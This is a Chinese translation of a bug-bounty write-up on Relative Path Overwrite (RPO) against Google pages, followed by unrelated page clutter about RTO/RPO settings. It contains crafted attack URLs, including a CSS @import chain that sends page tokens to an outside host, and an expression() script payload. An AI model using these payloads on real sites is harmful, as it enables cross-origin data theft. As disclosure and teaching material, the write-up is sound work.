CSS RPO Gadgets

RPO Gadgets

这篇文章并不是讲述Return Oriented Programming (ROP),误入的可以点右上角的红叉了。由于我想介绍的技术是Relative Path Overwrite (RPO)的进阶课程,如果没有基础的同学可以查看original introduction by Gareth 和 a real life RPO bug in phpBB by James.


Identifying RPO

目前我们可以知道的RPO利用例子是James的PRSSI ,它依赖于CSS解析器容忍在quirks mode中的非法语法(也称为松散解析),所以查找RPO漏洞的第一步就是检查页面的是否有正确的doctype。

我找到一个目标:
http://www.google.com/tools/toolbar/buttons/apis/howto_guide.html

<html>  
<head>  
<title>Google Toolbar API - Guide to Making Custom Buttons</title>  
<link href="../../styles.css" rel="stylesheet" type="text/css" />  
[..]

第二步涉及到服务器如何解析路径。对于浏览器来说,目录之间被“/”隔开。对于服务器来说,这并不意味着一定是目录,比如说JSP接收参数时会将“;”后的内容全部视为参数 (e.g. http://example.com/path;/notpath),这种情况下浏览器只会认为/patn;/notpath依旧是目录。

在目标中我找到可以利用RPO的地方,那里似乎有一个代理处理请求并解码路径中的内容,然后将其发送到真正的服务器。 这允许我们在路径中用%2f替换斜杠:

http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html

这里写图片描述

Server:
/tools/toolbar/buttons/apis/ howto_guide.html
Browser:
/tools/toolbar/buttons/ apis%2fhowto_guide.html
Imported stylesheet:
/tools/ style.css
(加粗的表示为基本路径)

现在浏览器认为基本路径是/tools/toolbar/buttons/而不是/tools/toolbar/buttons/apis/,因此对../../style.css的引用会多跳一个目录。

我们还能伪造目录,比如我们想加载的css文件在/tools/fake/styles.css:http://www.google.com/tools/fake/..%2ftoolbar/buttons/apis%2fhowto_guide.html

Server:
/tools/ (fake/../抵消) toolbar/buttons/apis/ howto_guide.html
Browser:
/tools/fake/..%2ftoolbar/buttons/ apis%2fhowto_guide.html
Imported stylesheet:
/tools/fake/..%2ftoolbar/buttons/../../style.css

这里我们添加了二个虚拟目录:fake和..%2f,这样在server角度下就互相抵消了,然后浏览器认为fake和..%2ftoolbar为目录。理论上,我们可以在根目录下导入任何样式表(www.google.com/*/styles.css),不幸的是这个代理只能处理(www.google.com/tools/*/styles.css),不是tools目录中的css文件就无法导入。

除了按钮Gallery 外都是些静态元素,http://www.google.com/tools/toolbar/buttons/gallery会重定向到http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1
按钮Gallery有一个q参数,可以制作RPO的payload:http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1&q=%0a{}*{background:red}

效果如图所示:
这里写图片描述

现在要做的就是如何以CSS方式来加载该页面。一种方法就是重定向处理查询字符串,例如,http://www.google.com/tools/toolbar/buttons/gallery?foo=bar会将我们重定向到http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1&foo=bar, 查询的字符串会附加上。

最后一步就是构造查询字符串了:http://www.google.com/tools/toolbar/buttons%2fgallery%3fq%3d%250a%257B%257D*%257Bbackground%253Ared%257D/..%2f/apis/howto_guide.html

Server:
/tools/toolbar/buttons/ (gallery?q=%0a{}*{background:red}/../抵消) /apis/ howto_guide.html

Browser:
/tools/toolbar/buttons%2fgallery%3fq%3d%250a%257B%257D*%257Bbackground%253Ared%257D/..%2f/apis/ howto_guide.html

Imported stylesheet:
/tools/toolbar/buttons%2fgallery%3fq%3d%250a%257B%257D*%257Bbackground%253Ared%257D /..%2f/apis/../../style.css

/tools/toolbar/buttons/gallery?q=%0a{}*{background:red}/style.css

/gadgets/directory?synd=toolbar&frontpage=1&q=%0a{}*{background:red}/style.css

这里写图片描述

看成功了,满页面都是红色。我们还能使用expression(alert(document.domain)),在IE8可以成功弹窗,但是在IE9却失败了。那是因为谷歌的defense-in-depth防止按钮以css方式加载(X-Content-Type-Options:nosniff 选项来关闭IE的文档类型自动判断功能)。
突然间所有的努力都是徒劳的,因为Google漏洞奖励计划(VRP)规则清楚地表明:In particular, we exclude Internet Explorer prior to version 9


Chaining Gadgets

嗯,如果我们使用RPO窃取其他页面上的秘密呢? CSS的另一个有趣的事情是,在quirks mode下,只要它们在同一个起源,那么松散解析就适用于所有导入的样式表。这样就开启了一个新的可能性,因为我们可以使用Button Gallery作为小工具将https://www.google.com/*上的任何网页导入为样式表,如果导入的“样式表”包含隐私数据和注入点,我们可以 尝试通过注入CSS魔法来窃取它。

这样的页面要求是:

  • 注入点需要在隐私数据之前
  • 注入点需要允许%0a,%0c和%0d中的任何一个,以便可以从错误的状态恢复解析器状态
  • 隐私数据及其周围不能包含换行符

我花了些时间找到了符合的页面:http://www.google.com/search?nord=1&q={}%0a@import”//innerht.ml?

这里写图片描述

首先要注意的是,该页面针对速度进行了优化,因此HTML被压缩过,只有少数换行符。可以看到有一些随机生成的token。 我不知道他们代表什么,但是能够窃取他们应该足以证明这次攻击确实会渗透到数据中。截图中突出显示的部分是css魔术发生的地方:我们使用@import“// innerht.ml?创建import规则,然后直到双引号的所有内容将作为受控URL的一部分使用,最后浏览器会向import“URL”发出请求,我们就可以获取到数据内容。
http://www.google.com/tools/toolbar/buttons%2fgallery%3fq%3d%250a%257B%257D%2540import%2527%252Fsearch%253Fnord%253D1%2526q%253D%257B%257D%25250a%2540import%252527%252F%252Finnerht.ml%253F%2522/..%2f/apis/howto_guide.html

这里写图片描述

再次向google上报:

** NOTE: This is an automatically generated email **

Hello,

Thank you for reporting this bug. As part of Google's Vulnerability Reward Program, the panel has decided to issue a reward of $1337.

Conclusion

我相信这应该是在实践中首次成功执行的RPO攻击。 最重要的是,我希望这篇文章可以让您深入了解RPO如何在没有XSS的情况下工作,以及如何识别RPO漏洞。


翻译出处
http://blog.innerht.ml/rpo-gadgets/

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
RTO(重传超时时间)和 RPO(恢复点目标)都是网络通信中的重要参数。 RTO 的设置需要考虑以下因素: 1. 网络延迟:RTO 的值应该大于网络延迟时间,否则可能会导致发送方在等待 ACK 时过早地重传数据包。 2. 网络抖动:RTO 的值应该考虑到网络抖动的影响,如果网络抖动较大,RTO 的值也应该相应地设置大一些。 3. 数据包大小:RTO 的值应该考虑到数据包的大小,如果数据包较大,RTO 的值也应该相应地设置大一些。 一般来说,RTO 的初始值应该设置为一个较小的值,然后根据网络状况的变化进行动态调整。如果网络延迟较小且网络抖动较小,可以考虑将 RTO 的值设置为 1 秒左右;如果网络延迟较大或者网络抖动较大,可以将 RTO 的值设置为 3 秒左右。 RPO 的设置需要考虑以下因素: 1. 数据重要性:RPO 的值应该根据数据的重要性来设置,对于非常重要的数据,RPO 的值应该尽可能地小。 2. 数据恢复时间:RPO 的值应该考虑到数据的恢复时间,如果恢复时间较长,RPO 的值也应该相应地设置大一些。 3. 数据备份频率:RPO 的值应该根据数据备份的频率来设置,如果备份频率较低,RPO 的值也应该相应地设置大一些。 一般来说,RPO 的值应该根据具体的业务需求和数据特点来设置,需要进行综合考虑。对于一些非常重要的数据,可以考虑采用实时备份的方式来保证数据的安全。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值